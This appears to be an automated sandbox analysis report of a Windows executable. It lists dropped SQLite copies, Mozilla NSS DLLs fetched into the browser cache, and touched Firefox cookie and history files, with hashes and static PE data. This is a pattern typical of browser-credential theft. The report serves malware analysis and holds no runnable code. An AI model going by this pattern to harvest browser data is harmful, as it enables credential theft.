Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AAFHIIDHJEBFBFIDAKFBAFCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BAKJKFHCAEGDHIDGDHDAKEGHCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCFBFBAEBKJKEBGCAEHCFCBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBKJDGIJECFIEBFIDHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJEHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6828ce64fe184aebd297c90e4c84b912.exe, Detection: malicious, Browse Filename: NJna3TEAEr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6828ce64fe184aebd297c90e4c84b912.exe, Detection: malicious, Browse Filename: NJna3TEAEr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947795718000164
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'793'536 bytes
MD5:	4aeafaf620afe668762dce203569036f
SHA1:	fb07635a603b5b30d7c76c5cc90daa09bf3bdd4d
SHA256:	dc1f7e05c1c53f87b90d5b911b1608a3f0aa73c2c0aa87ee61dadd4c3648a02c
SHA512:	7fc74645a770905f9c7d590b1ea355cac4c072582587c342b50a1b981ec71fefc51b6a66373f79560186d16a1af995096c6443f1a1e2faf150fdcd1c7713c7c3
SSDEEP:	49152:YHvQ6bFzwJKtAZD/6Hix+hIzs2cYsxoJ:mo8zwTD/oitgwJ
TLSH:	FC8533637ED14135EA61207A8984AD5F3778579762A3EECB0843EDDA279FE40D78038C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
